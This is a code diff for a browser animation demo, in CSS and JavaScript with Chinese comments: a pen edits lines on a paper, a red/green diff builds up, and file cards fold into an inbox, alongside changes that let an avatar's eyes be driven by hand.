/* 内容行:横线代表一行内容(行宽由 JS 逐帧驱动,不用 transitionopacity 过渡供轮间换内容淡出) */
.pline {
position: relative;
height: 4px;
border-radius: 2px;
background: var(--text-3);
opacity: 0.75;
transition: opacity 0.28s ease;
}
.paper3d.is-refilling .pline { opacity: 0; }
/* 线右端锚点0 尺寸,随线的 3D/倾斜变换,供 JS 实测真实右端点 */
.pline-end {
position: absolute;
right: 0;
top: 50%;
width: 0;
height: 0;
margin-top: -0px; /* 点本身无尺寸top:50% 即线厚中心 */
}
/* 写入行不再用绿色:与其他行同色(修改记录靠的是 diff 区,不是纸面变色) */
/* ───────── diff 区 ───────── */
.diff-view {
position: absolute;
left: 134px; /* 盒子水平中线86+48diff 中心对齐盒子中线 */
transform: translateX(-50%); /* 克隆切片内 transform 已被覆盖,不受影响 */
top: 0;
font-family: var(--font-mono);
font-size: 12.5px;
line-height: 1.5;
display: flex;
flex-direction: column;
gap: 3px;
z-index: 20; /* 盒内堆叠纸(21~23)之下——genie 时已隐藏,由切片接管 */
border-radius: 6px;
transition: background 0.25s ease;
}
/* genie 前:四行 diff 合为一张纸的底板(不加 outlineshorthand 不可过渡,会闪白框) */
.diff-view.is-sheet {
background: rgba(24, 30, 52, 0.92);
}
/* 轮间重置:禁用过渡,红绿底色/符号瞬时消失(否则恢复显示时会闪一下空白红绿块) */
.diff-view.no-fade { transition: none; }
.diff-view.no-fade .dline::before { transition: none; }
.diff-view.no-fade .dsign { transition: none; }
/* 收盒文件卡片单元素裁切式 genie
卡片全程同一个 DOM 元素clip-path 多边形裁切不压缩内容
body 每帧定位到轮廓包围盒文字矢量缩小全程清晰无损 */
.file-flight {
position: absolute;
pointer-events: none;
opacity: 0;
transition: opacity 0.45s ease;
/* SVG 视口默认 hidden 会把描边外半侧0.5px裁掉——visible 让边缘描边完整 */
overflow: visible;
}
.file-flight.is-on { opacity: 1; }
/* SVG 卡片path 轮廓即卡片外形——fill 纸色 + stroke 描边跟随轮廓S 曲线斜边也有描边) */
.file-flight-shape {
fill: var(--file-paper);
stroke: var(--file-line);
stroke-width: 1;
}
.file-cover-name {
font-family: var(--font-mono);
font-size: 15px;
letter-spacing: 0.02em;
fill: var(--text-3); /* 和纸上线条同色 */
}
.file-cover-stat {
font-family: var(--font-mono);
font-size: 11px;
}
.file-cover-stat .add { fill: var(--ok); }
.file-cover-stat .del { fill: var(--danger); }
.dline {
position: relative;
display: flex;
gap: 12px;
padding: 3px 10px;
border-radius: 4px;
/* 容器本身始终不透明转正落位的字符立即可见不经历消失淡入
/绿底色由 ::before 独立淡入+/- 符号独立淡入 */
white-space: nowrap;
}
.dline::before {
content: '';
position: absolute;
inset: 0;
border-radius: 4px;
opacity: 0;
transition: opacity 0.3s ease;
pointer-events: none;
}
.dline.is-del::before { background: rgba(212, 123, 107, 0.08); }
.dline.is-add::before { background: rgba(123, 168, 137, 0.10); }
.dline.is-shown::before { opacity: 1; }
.dline .dsign { flex: none; width: 10px; opacity: 0; transition: opacity 0.3s ease; }
.dline.is-shown .dsign { opacity: 1; }
.dline.is-del { color: var(--danger); }
.dline.is-add { color: var(--ok); }
/* diff 行内单字符:占位时透明;落位转正后 is-lit 实色显示 */
.dch { opacity: 0; }
.dch.is-lit { opacity: 1; }
/* 飘行的字母:从笔的擦/写位置飞向 diff 行字符位,落位后转正为流内字符 */
.dch-ghost {
position: absolute;
left: 0;
top: 0;
font-family: var(--font-mono);
font-size: 12.5px;
line-height: 1.5;
pointer-events: none;
/* 不设 will-change合成层位图与转正后的矢量重绘之间会出现大小/清晰度跳变 */
transition: transform 0.34s cubic-bezier(.35,.1,.25,1);
z-index: 35; /* 高于盒前壁30飞行字母不被盒子挡 */
}
/* 参考点(校准期红色可见,校准后改回透明) */
/* 笔尖/橡皮定位参考点visibility 隐藏保留几何盒供 getBoundingClientRect 实测
同时清掉 fill/stroke 防止从 SVG 根继承描边显形 */
.pen-ref { visibility: hidden; fill: none; stroke: none; pointer-events: none; }
/* 收件箱genie 收盒
后壁 z1纸挡住它前壁 z4它挡住纸纸从前后壁之间沉入 */
.inbox-part {
position: absolute;
left: 86px; /* 中心线 x=134 */
top: 166px;
width: 96px;
height: 96px;
color: var(--text-1);
opacity: 0;
transition: opacity 0.35s ease;
pointer-events: none;
}
.inbox-part.is-shown { opacity: 1; }
.box-back { z-index: 10; }
.box-front { z-index: 30; }
/* 前壁盒身填实色:不能透出后面收进去的纸(凹口线保持描边不填) */
.box-front path { fill: var(--bg-1); }
/* 盒内纸叠genie 终态的文件卡片(.file-flight本身就是插在盒子里的纸 */
/* demo 页动画宿主:原尺寸 1:1不缩放 */
.anim-host { width: 540px; height: 380px; }

View File

@ -1,552 +0,0 @@
/* 3D
* 笔尖始终对准线条进度点逐帧同步笔以笔尖为圆心摇摆
* 纸摊平后绿行抽出展开为红绿 diff自动播放点击场景重播
*/
(function () {
'use strict';
var stage = document.getElementById('anim3Stage');
var paper = document.getElementById('paper');
var penPos = document.getElementById('penPos');
var pen = document.getElementById('writerPen');
var boxBack = document.getElementById('boxBack');
var boxFront = document.getElementById('boxFront');
var diffView = document.getElementById('diffView');
var lines = Array.prototype.slice.call(paper.querySelectorAll('.pline'));
var dlines = Array.prototype.slice.call(diffView.querySelectorAll('.dline'));
// 挂载六边形眼睛(眨眼 + 追踪)
if (window.AstrionAvatar) {
AstrionAvatar.mount(document.getElementById('writerAvatar'), { mode: 'idle', blink: true, track: true });
}
var gen = 0;
/* /
* SVG 内放了两个隐形参考点penNibRef / penEraserRef
* 运行时 getBoundingClientRect 实测其渲染位置做补偿
* 无论笔怎么旋转/摇摆作用点都精确钉在目标上 */
var nibRef = document.getElementById('penNibRef');
var eraserRef = document.getElementById('penEraserRef');
var penTx = 0, penTy = 0;
/* 笔的初始位(被智能体拿着):笔尖所在点,笔身斜跨六边形 */
var PEN_HOME = { x: 456, y: 94 };
function sleep(ms) {
return new Promise(function (r) { setTimeout(r, ms); });
}
async function step(ms, myGen) {
await sleep(ms);
if (myGen !== gen) throw new Error('cancelled');
}
function el(tag, cls) {
var e = document.createElement(tag);
if (cls) e.className = cls;
return e;
}
function stageRect() { return stage.getBoundingClientRect(); }
/* 缓动 */
function easeOut(p) { return 1 - (1 - p) * (1 - p); }
function easeInOut(p) { return p < 0.5 ? 2 * p * p : 1 - 2 * (1 - p) * (1 - p); }
/* rAF 逐帧驱动(返回 false/取消时提前结束) */
function tween(ms, fn, myGen) {
return new Promise(function (resolve) {
var t0 = performance.now();
function tick(now) {
if (myGen !== gen) { resolve(); return; }
var p = Math.min((now - t0) / ms, 1);
fn(p);
if (p >= 1) { resolve(); return; }
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
function setPen(x, y) {
penTx = x; penTy = y;
penPos.style.transform = 'translate(' + x.toFixed(1) + 'px,' + y.toFixed(1) + 'px)';
}
/* 手动微调css px数据对准后仍有轻微视觉偏差时在这里调用户肉眼验收 */
var NIB_TWEAK = { x: 0, y: -1.8 };
var ERASER_TWEAK = { x: 0, y: 0 };
/* 把参考点精确移到舞台坐标 (x, y):实测当前位置,差值补偿到外层 translate一次收敛 */
function refTo(refEl, x, y, sr) {
var r = refEl.getBoundingClientRect();
var cx = r.left + r.width / 2 - sr.left;
var cy = r.top + r.height / 2 - sr.top;
setPen(penTx + (x - cx), penTy + (y - cy));
}
function nibTo(x, y, sr) { refTo(nibRef, x + NIB_TWEAK.x, y + NIB_TWEAK.y, sr); }
function eraserTo(x, y, sr) { refTo(eraserRef, x + ERASER_TWEAK.x, y + ERASER_TWEAK.y, sr); }
/* 线
* 用线内右端锚点.pline-end的实测位置兼容 3D 透视 + rotZ 倾斜 */
function lineTip(line, sr) {
var r = line.querySelector('.pline-end').getBoundingClientRect();
return { x: r.left + r.width / 2 - sr.left, y: r.top + r.height / 2 - sr.top };
}
function nibToLineTip(line, sr) {
var t = lineTip(line, sr);
nibTo(t.x, t.y, sr);
}
/* 三轮内容Dockerfile / Python / TS不全是一种代码
纸上横线长度 对应行字符数~2.3%/线
file/tone收盒前渐变覆盖的文件卡//绿露出一截即可分辨 */
var ROUNDS = [
{
file: 'Docker',
paperW: [34, 26, 59, 44],
edits: [
{ newW: 26, del: 'EXPOSE 8080', add: 'EXPOSE 8091' },
/* 最长行 26 字符≈237px 宽diff 左缘保持在 stage 内(>15px否则左缘描边被 stage 裁掉 */
{ newW: 53, del: 'CMD ["python", "server.py"]', add: 'CMD ["python", "main.py"]' }
]
},
{
file: 'api.py',
paperW: [56, 35, 46, 30],
edits: [
{ newW: 35, del: 'MAX_RETRIES = 3', add: 'MAX_RETRIES = 5' },
{ newW: 46, del: 'request_timeout = 30', add: 'request_timeout = 60' }
]
},
{
file: 'theme.ts',
paperW: [46, 30, 66, 58],
edits: [
{ newW: 37, del: "theme: 'dark'", add: "theme: 'classic'" },
{ newW: 66, del: 'fontSize: 13, lineHeight: 1.4', add: 'fontSize: 14, lineHeight: 1.6' }
]
}
];
/* SVG dx/dy=0.5 1px 1px
每往里一张纸顶边抬高 ~10px宽度按侧边角度同步收窄只露出顶部一截
topY/bottomY stage 坐标wRatio 为相对盒子图标宽的比例 */
/* ~8%
底边都落在盒口附近194/183/172每张收进去的瞬间都是真的插进盒子不悬空
顶边各露 5px底边落差 11px - 高度缩 6px 5px */
/*
每张收进去的瞬间都是真的插进盒子不悬空顶边各露 5px
坐标基于盒子下移 50px 盒口 y=224 */
var FILED_SPECS = [
{ topY: 182, bottomY: 234, wRatio: 0.66 }, /* 最前:高 52最宽、最低、贴前壁 */
{ topY: 177, bottomY: 223, wRatio: 0.608 }, /* 中间:高 46 */
{ topY: 172, bottomY: 212, wRatio: 0.556 } /* 最里:高 40底边在盒口线上 */
];
/* diff /
落位的 ghost 会转正替换占位符成为流内正式字符reset 时重建占位 */
var dlineTexts = [];
function setDiffTexts(r) {
var e = ROUNDS[r].edits;
dlineTexts = [e[0].del, e[0].add, e[1].del, e[1].add];
}
setDiffTexts(0);
var dlineChars = dlines.map(function () { return []; });
function buildDlineChars() {
dlines.forEach(function (d, di) {
var t = d.querySelector('.dtext');
t.textContent = '';
dlineChars[di] = [];
for (var i = 0; i < dlineTexts[di].length; i++) {
var c = el('span', 'dch');
/* 空格用不换行空格:普通空格 span 会塌缩成 0 宽/高度异常,落点歪斜 */
c.textContent = dlineTexts[di][i] === ' ' ? ' ' : dlineTexts[di][i];
t.appendChild(c);
dlineChars[di].push(c);
}
});
}
buildDlineChars();
/* (x0,y0)/ diff
落位后转正替换占位符成为流内正式字符genie 收纸时文字随纸一起变形
首个落位字符触发行容器/绿底色淡入底色与文字同步不先于文字出现 */
function flyChar(x0, y0, chSpan, sr, myGen) {
var to = chSpan.getBoundingClientRect();
var g = el('span', 'dch-ghost');
g.textContent = chSpan.textContent;
g.style.color = getComputedStyle(chSpan).color;
g.style.transform = 'translate(' + (x0 - 3).toFixed(1) + 'px,' + (y0 - 8).toFixed(1) + 'px)';
stage.appendChild(g);
void g.offsetWidth; /* 起始位定格后再设终点,保证过渡触发 */
g.style.transform = 'translate(' + (to.left - sr.left).toFixed(1) + 'px,' + (to.top - sr.top).toFixed(1) + 'px)';
g.addEventListener('transitionend', function handler() {
g.removeEventListener('transitionend', handler);
if (myGen !== gen) { g.parentNode && g.parentNode.removeChild(g); return; }
/* 飞行过渡真正结束后转正:清掉行内样式、换成流内字符 class、替换占位符同帧完成无跳变 */
g.style.cssText = '';
g.className = 'dch is-lit';
var row = chSpan.parentNode; /* .dtext */
var dline = row.parentNode; /* .dline */
row.replaceChild(g, chSpan);
/* 第一个字符到位,该行的红绿背景与 +/- 符号即浮现(后续字符陆续落位在已有底色的行里) */
dline.classList.add('is-shown');
});
}
function applyWidths() {
lines.forEach(function (l) {
l.style.width = l.dataset.w + '%';
});
}
function reset() {
gen += 1;
pen.classList.remove('is-writing');
penPos.classList.remove('is-live');
lines.forEach(function (l) {
l.classList.remove('is-new');
l.style.opacity = '';
});
lines.forEach(function (l, i) { l.dataset.w = ROUNDS[0].paperW[i]; });
applyWidths();
setDiffTexts(0);
diffView.classList.add('no-fade'); /* 重播重置同样禁用过渡,防红绿块淡出闪现 */
dlines.forEach(function (d) { d.classList.remove('is-shown'); });
Array.prototype.slice.call(stage.querySelectorAll('.dch-ghost')).forEach(function (g) { g.parentNode.removeChild(g); });
buildDlineChars(); /* 落位字符已转正为流内文本,重播前重建透明占位 */
Array.prototype.slice.call(stage.querySelectorAll('.file-flight')).forEach(function (g) { g.parentNode.removeChild(g); });
diffView.style.clipPath = '';
diffView.style.transform = '';
diffView.style.transformOrigin = '';
diffView.style.opacity = '';
diffView.style.visibility = '';
diffView.classList.remove('is-sheet');
void diffView.offsetWidth;
diffView.classList.remove('no-fade');
/* 收件箱始终显示,不在重置时隐藏 */
pen.classList.remove('is-erasing');
pen.style.transform = '';
penPos.classList.add('is-live'); /* 重置瞬移,不起飞行动画 */
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
void penPos.offsetWidth; /* 强制样式计算:让 transform 在 transition:none 下定格,避免移除 is-live 后触发回退过渡 */
penPos.classList.remove('is-live');
}
/* 改写一行:笔尖飞到旧行末端 → 翻转 180° 露出橡皮 → 橡皮小幅度晃动擦掉(线缩短,橡皮跟随)→ 翻回行首 → 绿行从笔尖长出 */
async function rewriteLine(line, newW, delDline, addDline, myGen) {
var sr = stageRect();
var oldW = parseFloat(line.dataset.w);
// 1) 飞到该行旧内容末端(笔尖对准线右端,过渡飞行)
penPos.classList.remove('is-live');
nibToLineTip(line, sr);
await step(430, myGen);
// 2) 倒笔先平滑平移换端笔尖→橡皮JS tween 驱动,无瞬移),再绕橡皮翻转 180°
// (同步块内连续 setPen 不触发渲染,借此算出平移的精确起止 translate
pen.classList.add('is-erasing');
penPos.classList.add('is-live');
var t0 = lineTip(line, sr);
var fromX = penTx, fromY = penTy;
eraserTo(t0.x, t0.y, sr); /* 算出橡皮贴线的目标 translate */
var toX = penTx, toY = penTy;
setPen(fromX, fromY); /* 设回起点,同一同步块内不渲染 */
await tween(280, function (p) {
var e = easeInOut(p);
setPen(fromX + (toX - fromX) * e, fromY + (toY - fromY) * e);
}, myGen);
// 3) 翻转 180°绕橡皮平滑转动期间橡皮始终钉在线右端
await tween(300, function (p) {
pen.style.transform = 'rotate(' + (easeInOut(p) * 180).toFixed(1) + 'deg)';
var t = lineTip(line, sr);
eraserTo(t.x, t.y, sr);
}, myGen);
// 4) 擦除:线缩短,橡皮跟随右端;笔小幅晃动;字母随擦除从橡皮处逐个飘向左侧红行(从右往左)
// 时长与行长成正比(等速擦除);行容器(红底)随首个落位字符出现
var delChars = dlineChars[dlines.indexOf(delDline)];
var dN = delChars.length;
var nextDel = dN - 1;
var eraseMs = Math.round(oldW * 7);
await tween(eraseMs, function (p) {
line.style.width = (oldW * (1 - easeInOut(p))) + '%';
var wob = Math.sin(p * Math.PI * 4) * 7; // 两个来回±7°
pen.style.transform = 'rotate(' + (180 + wob).toFixed(1) + 'deg)';
var t = lineTip(line, sr);
eraserTo(t.x, t.y, sr);
while (nextDel >= 0 && p >= (dN - nextDel) / (dN + 1)) {
flyChar(t.x, t.y, delChars[nextDel], sr, myGen);
nextDel--;
}
}, myGen);
// 5) 翻回 0°origin 仍在笔尾,橡皮钉在行首(线宽已 0右端即行首
// 转回 0° 后移除 is-erasingorigin 切回笔尖无跳变
var home = lineTip(line, sr);
await tween(280, function (p) {
pen.style.transform = 'rotate(' + (180 * (1 - easeInOut(p))).toFixed(1) + 'deg)';
eraserTo(home.x, home.y, sr);
}, myGen);
pen.classList.remove('is-erasing');
pen.style.transform = '';
// 6) 写上绿色新内容笔尖跟随右端is-writing 摇摆;字母随书写从笔尖逐个飘向左侧绿行(从左往右)
penPos.classList.remove('is-live');
nibTo(home.x, home.y, sr);
await step(320, myGen);
/* 写入行不变色(修改记录靠 diff 区表达,纸面行保持同色) */
pen.classList.add('is-writing');
penPos.classList.add('is-live');
var addChars = dlineChars[dlines.indexOf(addDline)];
var aN = addChars.length;
var nextAdd = 0;
var writeMs = Math.round(newW * 7); // 时长与行长成正比(等速书写)
await tween(writeMs, function (p) {
line.style.width = (newW * easeOut(p)) + '%';
nibToLineTip(line, sr);
while (nextAdd < aN && p >= (nextAdd + 0.5) / aN) {
var t2 = lineTip(line, sr);
flyChar(t2.x, t2.y, addChars[nextAdd], sr, myGen);
nextAdd++;
}
}, myGen);
pen.classList.remove('is-writing');
}
/* genie · DOM
每帧把 S 曲线轮廓底部先收窄侧边弧线顶部后动算成 clip-path 多边形
裁掉轮廓外的部分裁切不压缩内容全程原样清晰
body底色+边框+文字每帧定位到轮廓包围盒文字随收窄矢量缩小字号
终态轮廓恰好是插在盒口的小矩形元素原地成为堆叠的一张无替换无跳变 */
async function genieIntoBox(myGen, r, flight) {
var shape = flight.querySelector('.file-flight-shape');
var name = flight.querySelector('.file-cover-name');
var stat = flight.querySelector('.file-cover-stat');
var sr = stageRect();
var br = boxBack.getBoundingClientRect();
var px = +flight.dataset.px, py = +flight.dataset.py;
var W = +flight.dataset.w, H = +flight.dataset.h;
/* 盒口中心stage 坐标):图标 y=12/24 处为盒口前缘线 */
var mouthX = br.left + br.width / 2 - sr.left;
/* 收盒顺序 3→2→1第一轮收最里面最后一轮收最前后收的挡先收的 */
var spec = FILED_SPECS[FILED_SPECS.length - 1 - r];
var sinkY = spec.bottomY - (py + H);
var centerDx = mouthX - (px + W / 2);
var minS = (br.width * spec.wRatio) / W;
var compressH = spec.topY - py - sinkY;
flight.style.height = (H + sinkY + 20) + 'px'; /* SVG 视口加高覆盖下降路径 */
/*
每帧把轮廓直接画成 pathfill 纸色 + stroke 描边跟随 S 曲线 */
/* 侧边采样 72 段≈1.6px/段折线足够密S 曲线侧边平滑无锯齿 */
var N = 72;
var totalMs = 1500;
var sliceMs = 950;
var maxDelay = totalMs - sliceMs;
var lastBox = { x: 0, y: 0, w: W, h: H };
var RR = 3.5; /* 运动期四角圆角半径(与封面/终态 roundedRectD 一致,无圆直跳变) */
await tween(totalMs, function (p) {
var now = p * totalMs;
var L = [], R = [];
var minX = 1e9, maxX = -1e9, minY = 1e9, maxY = -1e9;
for (var i = 0; i < N; i++) {
var v = (i + 0.5) / N;
var start = (1 - v) * maxDelay;
var q = Math.min(Math.max((now - start) / sliceMs, 0), 1);
var e = easeInOut(q);
var sx = 1 - (1 - minS) * e;
var ty = (sinkY + (1 - v) * compressH) * e;
var tx = centerDx * e;
var lw = W * sx;
var lx = (W - lw) / 2 + tx, rx = lx + lw;
var yt = i * H / N + ty, yb = (i + 1) * H / N + ty;
L.push([lx, yt], [lx, yb]);
R.push([rx, yt], [rx, yb]);
if (lx < minX) minX = lx;
if (rx > maxX) maxX = rx;
if (yt < minY) minY = yt;
if (yb > maxY) maxY = yb;
}
/* / RR Q =
侧边仍是 72 段平滑折线 */
var f = function (n) { return n.toFixed(1); };
var lt = L[0], lb0 = L[1], rt = R[0], rb0 = R[1];
var rbN = R[(N - 1) * 2 + 1], lbN = L[(N - 1) * 2 + 1];
var d = 'M' + f(lt[0] + RR) + ',' + f(lt[1]);
d += ' L' + f(rt[0] - RR) + ',' + f(rt[1]);
d += ' Q' + f(rt[0]) + ',' + f(rt[1]) + ' ' + f(rb0[0]) + ',' + f(rb0[1]); /* 右上 */
for (var i = 1; i < N - 1; i++) {
d += ' L' + f(R[i * 2][0]) + ',' + f(R[i * 2][1]);
d += ' L' + f(R[i * 2 + 1][0]) + ',' + f(R[i * 2 + 1][1]);
}
d += ' Q' + f(rbN[0]) + ',' + f(rbN[1]) + ' ' + f(rbN[0] - RR) + ',' + f(rbN[1]); /* 右下 */
d += ' L' + f(lbN[0] + RR) + ',' + f(lbN[1]); /* 底边 */
d += ' Q' + f(lbN[0]) + ',' + f(lbN[1]) + ' ' + f(L[(N - 1) * 2][0]) + ',' + f(L[(N - 1) * 2][1]); /* 左下 */
for (var j = N - 2; j >= 1; j--) {
d += ' L' + f(L[j * 2 + 1][0]) + ',' + f(L[j * 2 + 1][1]);
d += ' L' + f(L[j * 2][0]) + ',' + f(L[j * 2][1]);
}
d += ' L' + f(lb0[0]) + ',' + f(lb0[1]); /* 段0左下 */
d += ' Q' + f(lt[0]) + ',' + f(lt[1]) + ' ' + f(lt[0] + RR) + ',' + f(lt[1]) + ' Z'; /* 左上闭合 */
shape.setAttribute('d', d);
/*
font-size 必须内联 stylepresentation attribute 优先级低于 CSS 规则会被压住 */
var cx = (minX + maxX) / 2, cy = (minY + maxY) / 2;
var sc = (maxX - minX) / W;
/* 字号双保险随收窄等比缩且不超过卡片宽能放下的上限mono 字宽 ≈0.62em */
var fsFit = (maxX - minX) * 0.88 / (name.textContent.length * 0.62);
var fs1 = Math.min(Math.max(15 * sc, 7), fsFit);
var fs2 = Math.max(11 * sc, 7);
name.setAttribute('x', cx);
name.setAttribute('y', cy - 2);
name.style.fontSize = fs1.toFixed(1) + 'px';
stat.setAttribute('x', cx);
stat.setAttribute('y', cy + fs2 + 2);
stat.style.fontSize = fs2.toFixed(1) + 'px';
lastBox.x = minX; lastBox.y = minY; lastBox.w = maxX - minX; lastBox.h = maxY - minY;
}, myGen);
/* 终态:换回圆角矩形 path描边+圆角完整),元素留在盒口成为堆叠的一张 */
shape.setAttribute('d', roundedRectD(lastBox.x, lastBox.y, lastBox.w, lastBox.h, 3.5));
}
/* SVG 工具SVG 元素必须用 createElementNS 创建createElement 建的不渲染) */
var SVG_NS = 'http://www.w3.org/2000/svg';
function svgEl(tag, cls) {
var e = document.createElementNS(SVG_NS, tag);
if (cls) e.setAttribute('class', cls);
return e;
}
/* 圆角矩形 path初始封面与终态卡片用genie 期间为直边多边形) */
function roundedRectD(x, y, w, h, r) {
return 'M' + (x + r) + ',' + y +
' L' + (x + w - r) + ',' + y +
' A' + r + ',' + r + ' 0 0 1 ' + (x + w) + ',' + (y + r) +
' L' + (x + w) + ',' + (y + h - r) +
' A' + r + ',' + r + ' 0 0 1 ' + (x + w - r) + ',' + (y + h) +
' L' + (x + r) + ',' + (y + h) +
' A' + r + ',' + r + ' 0 0 1 ' + x + ',' + (y + h - r) +
' L' + x + ',' + (y + r) +
' A' + r + ',' + r + ' 0 0 1 ' + (x + r) + ',' + y + ' Z';
}
/* SVGpath +text +
diff 内容直接消失卡片是 SVG 单元素描边跟随 path 轮廓S 曲线斜边也有 */
async function showFileCover(r, myGen) {
var sr = stageRect();
var pr = diffView.getBoundingClientRect();
var px = pr.left - sr.left, py = pr.top - sr.top;
var W = pr.width, H = pr.height;
var flight = svgEl('svg', 'file-flight');
flight.style.left = px + 'px';
flight.style.top = py + 'px';
flight.style.width = W + 'px';
flight.style.height = H + 'px';
/* 创建即设层级(先收最里 21后收在前封面期就必须在 diffView(z20) 之上 */
flight.style.zIndex = String(21 + r);
flight.dataset.px = px; flight.dataset.py = py;
flight.dataset.w = W; flight.dataset.h = H;
var shape = svgEl('path', 'file-flight-shape');
shape.setAttribute('d', roundedRectD(0, 0, W, H, 3.5));
var name = svgEl('text', 'file-cover-name');
name.setAttribute('x', W / 2);
name.setAttribute('y', H / 2 - 3);
name.setAttribute('text-anchor', 'middle');
name.textContent = ROUNDS[r].file;
var stat = svgEl('text', 'file-cover-stat');
stat.setAttribute('x', W / 2);
stat.setAttribute('y', H / 2 + 14);
stat.setAttribute('text-anchor', 'middle');
var add = svgEl('tspan', 'add'); add.textContent = '+2';
var del = svgEl('tspan', 'del'); del.textContent = ' -2';
stat.appendChild(add);
stat.appendChild(del);
flight.appendChild(shape);
flight.appendChild(name);
flight.appendChild(stat);
stage.appendChild(flight);
getComputedStyle(flight).opacity; /* getBoundingClientRect 只算几何不重算样式getComputedStyle 才强制样式计算,定格 opacity 0 */
flight.classList.add('is-on');
await step(520, myGen); /* 等封面渐变动画完全结束 */
diffView.style.visibility = 'hidden'; /* 封面完全出现后,背后的 diff 瞬间消失 */
return flight;
}
/* diff no-fade is-shown
红绿底色会以 0.3s 淡出形式闪一下有底色无文字禁用后瞬时消失无残影 */
function resetDiffForRound(r) {
setDiffTexts(r);
diffView.classList.add('no-fade');
dlines.forEach(function (d) { d.classList.remove('is-shown'); });
diffView.classList.remove('is-sheet');
buildDlineChars();
diffView.style.visibility = '';
diffView.style.opacity = ''; /* 恢复渐隐前的可见no-fade 下瞬间生效,无闪) */
void diffView.offsetWidth; /* 强制样式计算:无过渡状态定格后再恢复过渡 */
diffView.classList.remove('no-fade');
}
/* 纸上复现新一轮 4 行内容(长短不一):旧行淡出 → 换行宽 → 淡入 */
async function refillPaper(r, myGen) {
paper.classList.add('is-refilling');
await step(300, myGen);
lines.forEach(function (l, i) {
l.classList.remove('is-new');
l.dataset.w = ROUNDS[r].paperW[i];
});
applyWidths();
paper.classList.remove('is-refilling');
await step(400, myGen);
}
async function play() {
var myGen = ++gen;
try {
for (var r = 0; r < ROUNDS.length; r++) {
// 0) 首轮等待开场;后续轮先展示盒内堆叠片刻,再在纸上复现新内容
if (r > 0) {
await step(520, myGen);
await refillPaper(r, myGen);
} else {
await step(650, myGen);
}
// 1) 笔飞到纸上,先后改写第 2、3 行;擦旧行时红行 - 飘出,写新行时绿行 + 飘出diff 实时构建)
await rewriteLine(lines[1], ROUNDS[r].edits[0].newW, dlines[0], dlines[1], myGen);
await rewriteLine(lines[2], ROUNDS[r].edits[1].newW, dlines[2], dlines[3], myGen);
// 2) 笔飞回智能体右侧
penPos.classList.remove('is-live');
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
await step(500, myGen);
// 3) 收件箱始终显示(页面加载即在,无淡入步骤)
// 4) 文件卡片渐变出现diff 内容直接消失)→ genie 裁切收进盒子(先收最里,再依次向前)
var flight = await showFileCover(r, myGen);
await genieIntoBox(myGen, r, flight);
// 5) 为下一轮重建 diff 区(末轮保留收盒终态)
if (r < ROUNDS.length - 1) resetDiffForRound(r + 1);
}
} catch (e) {
if (e && e.message !== 'cancelled') throw e;
}
}
stage.addEventListener('click', function () {
reset();
play();
});
applyWidths();
penPos.classList.add('is-live'); /* 初始就位瞬移 */
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
void penPos.offsetWidth; /* 强制样式计算后再恢复过渡 */
penPos.classList.remove('is-live');
play();
})();

View File

@ -0,0 +1,36 @@
/* 版本控制动画 demo 页壳 —— 布局与 token动画本体样式在 anim-version.css */
:root {
--bg-0: #0c1120;
--bg-1: #111830;
--bg-panel: #151c31;
--text-1: #eef1f8;
--text-2: #a7b0c4;
--text-3: #6b7488;
--line: rgba(168, 180, 210, 0.14);
--line-strong: rgba(168, 180, 210, 0.24);
--accent: #a9c2f0;
--accent-strong: #c1d4f6;
--ok: #7ba889;
--font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC",
"Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif;
--font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace;
}
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: var(--font-sans);
background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 60%);
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
color: var(--text-1);
}
.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; }
.hint { font-size: 13px; color: var(--text-3); }
/* demo 页动画宿主:原尺寸 1:1不缩放 */
.anim-host { width: 540px; height: 380px; }

View File

@ -65,7 +65,8 @@
requestAnimationFrame(step);
}
// —— 全局鼠标追踪(单 rAF 循环驱动所有实例) ——
// —— 全局注视驱动(单 rAF 循环驱动所有实例) ——
// 每个实例二选一useMouse 跟随鼠标;或 manual 目标(动画模块用 handle().lookAt 驱动)
var tracked = [];
var mouse = { x: -9999, y: -9999 };
var rafRunning = false;
@ -74,16 +75,25 @@
for (var i = 0; i < tracked.length; i++) {
var inst = tracked[i];
if (!document.contains(inst.svg)) { tracked.splice(i--, 1); continue; }
var rect = inst.svg.getBoundingClientRect();
if (rect.width === 0) continue;
var cx = rect.left + rect.width / 2;
var cy = rect.top + rect.height / 2;
var dx = mouse.x - cx;
var dy = mouse.y - cy;
var dist = Math.hypot(dx, dy) || 1;
var reach = Math.min(dist / TRACK_RANGE, 1) * TRACK_MAX;
var tx = (dx / dist) * reach;
var ty = (dy / dist) * reach;
var tx, ty;
if (inst.manual) {
tx = inst.manual.x;
ty = inst.manual.y;
} else if (inst.useMouse) {
var rect = inst.svg.getBoundingClientRect();
if (rect.width === 0) continue;
var cx = rect.left + rect.width / 2;
var cy = rect.top + rect.height / 2;
var dx = mouse.x - cx;
var dy = mouse.y - cy;
var dist = Math.hypot(dx, dy) || 1;
var reach = Math.min(dist / TRACK_RANGE, 1) * TRACK_MAX;
tx = (dx / dist) * reach;
ty = (dy / dist) * reach;
} else {
tx = 0;
ty = 0;
}
inst.cur.x += (tx - inst.cur.x) * TRACK_LERP;
inst.cur.y += (ty - inst.cur.y) * TRACK_LERP;
inst.eyes.setAttribute(
@ -148,12 +158,23 @@
})();
}
if (opts.track !== false) {
tracked.push({ svg: svg, eyes: eyes, cur: { x: 0, y: 0 } });
if (!rafRunning) {
rafRunning = true;
requestAnimationFrame(trackLoop);
}
// 所有 idle 实例都注册进驱动循环useMouse=false 时由 handle().lookAt 手动驱动
var inst = {
svg: svg,
eyes: eyes,
eyeL: eyeL,
eyeR: eyeR,
cur: { x: 0, y: 0 },
manual: null,
useMouse: opts.track !== false,
pathNums: EYE_IDLE.slice(),
morphToken: 0
};
svg._aaInst = inst;
tracked.push(inst);
if (!rafRunning) {
rafRunning = true;
requestAnimationFrame(trackLoop);
}
}
@ -161,5 +182,69 @@
return svg;
}
window.AstrionAvatar = { mount: mount };
/* idle
